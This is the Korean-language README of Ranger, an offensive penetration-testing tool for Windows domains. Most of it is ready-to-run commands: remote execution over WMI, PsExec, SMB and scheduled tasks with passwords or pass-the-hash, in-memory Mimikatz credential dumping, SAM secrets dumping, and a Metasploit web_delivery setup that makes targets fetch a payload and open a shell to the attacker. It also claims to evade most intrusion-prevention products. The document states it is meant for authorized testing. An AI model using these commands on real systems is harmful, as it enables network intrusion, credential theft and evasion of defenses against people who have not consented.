ranger

보안 전문가가 원격 Microsoft Windows 기반 시스템에 접근하고 상호작용할 수 있도록 지원하는 도구입니다.

이 프로젝트는 "우리가 활이나 화살을 발명한 것이 아니라, 더 효율적으로 사용하는 방법을 고안했다"는 생각에서 구상되었습니다.

Ranger는 명령줄 기반의 공격 및 침투 테스트 도구로, 인스턴트화된 투석기 서버를 사용하여 Windows 시스템에 기능을 전달할 수 있습니다. 사용자가 자격 증명 세트나 해시 세트(NTLM, LM, LM:NTLM)를 가지고 있으면 트러스트에 속한 시스템에 접근할 수 있습니다.

이 기능을 사용하여 보안 전문가는 메모리에서 자격 증명을 평문으로 추출하고, SAM 테이블에 접근하며, 명령을 실행하고, PowerShell 스크립트, Windows 바이너리 및 기타 도구를 실행할 수 있습니다. 현재 이 도구는 이를 탐지하도록 맞춤 조정되지 않은 한 대부분의 IPS 벤더 솔루션을 우회합니다. 이 도구는 합법적이거나 계약에 따라 지원되는 활동을 수행하는 보안 전문가를 지원하기 위해 홈 랩에서 개발되었습니다.

더 많은 기능이 추가되고 있지만, 현재 이 도구는 PowerShell PowerView, PowerShell Mimikatz 및 Impacket 팀 관련 저장소의 커뮤니티 기여를 사용합니다.

Ranger 관리:

설치:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

업데이트:

ranger --update

사용법:

• Ranger는 방법과 공격의 조합을 사용합니다. 방법은 공격/명령을 전달하는 데 사용됩니다.
• 공격은 달성하려는 목표입니다.
• 일부 항목은 방법과 공격이 하나로 합쳐져 있으며, 일부 방법은 라이브러리나 프로토콜의 현재 제한으로 인해 일부 공격을 사용할 수 없습니다.

방법 및 공격:

--scout
--secrets-dump

방법:

--wmiexec
--psexec
--smbexec
--atexec

공격:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

명령 실행:

로그인된 사용자 찾기:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

SMBEXEC 명령 셸:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

PSEXEC 명령 셸:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

PSEXEC 명령 실행:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

WMIEXEC 명령 실행:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

WMIEXEC PowerShell Mimikatz 메모리 인젝터:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

WMIEXEC Metasploit web_delivery 메모리 인젝터 (아래 Metasploit 설정 필요):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

WMIEXEC 사용자 정의 코드 메모리 인젝터:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

ATEXEC 명령 실행:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

ATEXEC PowerShell Mimikatz 메모리 인젝터:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

ATEXEC Metasploit web_delivery 메모리 인젝터 (아래 Metasploit 설정 필요):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

ATEXEC 사용자 정의 코드 메모리 인젝터:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

SECRETSDUMP 사용자 정의 코드 메모리 인젝터:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

붙여넣기 가능한 Mimikatz 공격 생성:

ranger.py --invoker -q -v -vv -vvv

붙여넣기 가능한 web_delivery 공격 생성 (아래 Metasploit 설정 필요):

ranger.py --downloader -q -v -vv -vvv

붙여넣기 가능한 Executor 공격 생성:

ranger.py --executor -q -v -vv -vvv

그룹 구성원 및 도메인 식별

• 그룹을 식별할 때 --get-domain-membership을 사용하여 실제 쿼리 도메인이 무엇인지 확인하십시오.
• 그런 다음 그룹을 쿼리할 때 선택적 --domain을 사용하면 로그인한 도메인과 다른 도메인을 대상으로 지정할 수 있습니다.

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

사용법 참고 사항:

자격 증명 파일 형식:

• 같은 파일에 다음 형식으로 사용자 이름과 비밀번호 또는 해시 목록을 전달할 수 있습니다.

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

자격 증명 파일 참고 사항:

• 파일에 도메인 이름을 제공하면 기본 WORKGROUP 대신 사용됩니다.
• 명령줄 -d로 도메인 이름을 제공하면 파일의 모든 도메인 이름을 무시하겠다는 의미로 간주됩니다.

명령줄 실행:

• 파일을 사용하지 않으려면 명령줄을 통해 직접 세부 정보를 전달할 수 있습니다.
• 비밀번호 대신 해시를 제공하려면 비밀번호 인수에 전달하면 됩니다.
• PWDUMP 형식이고 사용자 이름을 제공하지 않으면 해시에서 사용자 이름을 추출합니다.
• 사용자 이름을 제공하면 동일한 해시가 다른 사용자에게 적용된다고 간주합니다.
• 비밀번호에 다음 형식을 사용하십시오:

password
LM:NTLM
:NTLM
PWDUMP

대상 및 제외:

• 대상과 제외는 동시에 사용할 수 있습니다.

대상, 대상 범위, 대상 CIDR, 대상 목록, NMAP XML 대상:

• 대상 목록을 사용하거나 대상 옵션을 통해 대상 목록을 제공할 수 있습니다.
• 여러 대상 목록 파일을 쉼표로 구분하여 제공할 수 있으며, 데이터를 집계하고 중복을 제거한 후 기본 인터페이스 또는 제공한 인터페이스에서 IP 주소를 제외합니다.
• 도구는 CIDR 표기법, 작은 범위(192.168.195.1-100) 또는 큰 범위(192.168.194.1-192.163.1.1) 또는 단일 IP 주소를 허용합니다.
• 명령줄에서 쉼표로 구분하거나 새 줄로 구분된 파일에 넣으면 됩니다.
• Nmap XML도 대상 시스템을 지정하는 데 사용할 수 있으며, 쉼표로 구분할 수 있습니다.
• 도구는 박스를 대상으로 지정하기 전에 정규화하고 중복을 제거합니다.
• 예시: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

제외, 제외 범위, 제외 CIDR, 제외 목록, Nmap XML 제외:

• 제외 인수를 사용하여 대상을 제외할 수도 있습니다. Class A에서 작은 Class C를 건드리지 않으면 도구가 알아서 처리합니다.
• 제외는 대상과 완전히 동일한 방식으로 수행할 수 있습니다. 명령에서 t를 e로 바꾸면 됩니다.
• 예시: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

침입 방지 시스템 (IPS):

• Mimikatz, Downloader 및 Executor는 다른 서비스와 프로토콜을 호출하여 PowerShell 메모리 주입을 사용합니다.
• 명령은 이중 인코딩되어 있으며, 특별히 이러한 공격을 잡도록 조정되지 않은 한 현재 IPS 솔루션(차세대 포함)을 우회합니다.
• ATEXEC만 현재 디스크에 저장되고 인코딩되지 않습니다. 아직 재작업할 부분이 있습니다.

Invoker 공격:

• 대상 박스에서 PowerShell Mimikatz를 실행합니다.
• 함수/cmdlet의 기본값은 Invoke-Mimikatz이며, -f로 변경할 수 있습니다.
• 인수의 기본값은 DumpCreds이며, -a로 변경할 수 있습니다.
• Invoker는 명령을 변경하려면 -f와 -a 옵션이 모두 필요합니다. -a를 사용하지 않으려면 Executor를 사용할 수 있습니다.
• 예시: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Executor 공격:

• 대상 박스에서 바이너리 또는 PowerShell 스크립트를 실행할 수 있습니다.
• 공격 박스에서 스크립트나 바이너리가 있는 현재 디렉터리에 있어야 합니다.
• 스크립트나 바이너리는 메모리에 직접 주입됩니다.
• 페이로드(바이너리 또는 스크립트)를 -x로 식별해야 합니다.
• 함수/cmdlet/인수를 -f로 정의해야 합니다.
• 선택적으로 도구가 필요하면 -a로 명령을 추가로 정의할 수 있습니다.
• 예시 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• 예시 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Downloader (web_delivery) 공격:

• web_delivery 익스플로잇을 위해 Metasploit을 설정하려면 Metasploit을 시작하고 다음 조건을 충족하도록 익스플로잇을 구성하십시오.

use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

##FAQ

SMBEXEC 및 WMIEXEC에 대한 액세스 거부 오류

WORKGROUP의 일부인 Windows 시스템에서 액세스 거부 오류가 발생합니다.

도메인의 일부가 아닌 경우 Windows는 기본적으로 관리 공유를 가지고 있지 않습니다. SMBEXEC는 공유가 활성화되어 있어야 합니다. 또한 WORKGROUP 시스템에서는 WMIC가 활성화되어 있지 않습니다. SMBEXEC 및 WMIEXEC는 도메인 시스템에서 활성화된 프로토콜을 대상으로 하도록 만들어졌습니다. 이러한 기능을 WORKGROUP 시스템에서 활성화하는 것이 가능하지만, 취약한 프로토콜을 도입하는 것임을 명심하십시오(결국 이것이 이 도구가 공격하기 위해 만들어진 것입니다). 배우자가 Facebook을 사용하는 주 가정 시스템에서 이러한 기능을 활성화하는 것은 아마도 좋은 생각이 아닙니다.

• 소유한 테스트 박스인지 확인하십시오. 여기에 있는 지침에 따라 공유를 강제로 활성화할 수 있습니다: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• 노출된 공유를 확인하고 대상으로 지정하려면 enum4linux 같은 도구를 사용한 다음 ranger에서 --share share_name 인수를 사용하여 SMBEXEC를 실행해 볼 수 있습니다.

향후 기능:

색상 출력:

• https://pypi.python.org/pypi/colorama를 사용하여 색상 출력 계속 추가
• WINDOWER – 특정 모니터링 시스템을 피하기 위해 창을 숨기지 않고 PowerShell 실행
• GATHERER – 도메인 그룹에 대한 자동 자격 증명 추출기
• HUNTER – 반 지능형 의사 결정(SID) – 분류 트리를 사용하여 그룹 구성원 유사성을 기반으로 에스컬레이션 경로 식별
• 더 나은 NTDS 및 그룹 파싱
• SMB 투석기 서버

감사 인사:

• Microsoft (PowerShell 및 Windows의 bash를 미리 감사)
• CoreLabs Impacket 팀
• PowerShellEmpire 팀
• PowerSploit을 시작하고 PowerShellMafia 및 기여자들이 계속 개발해준 Mattifestation
• 건설적인 커뮤니티를 위한 친구들과 커뮤니티

발표 장소:

[BSides Charm City 2016: 2016년 4월 23일] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

발표 영상:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

이 도구가 포함된 배포판:

[Black Arch Linux] (https://blackarch.org/)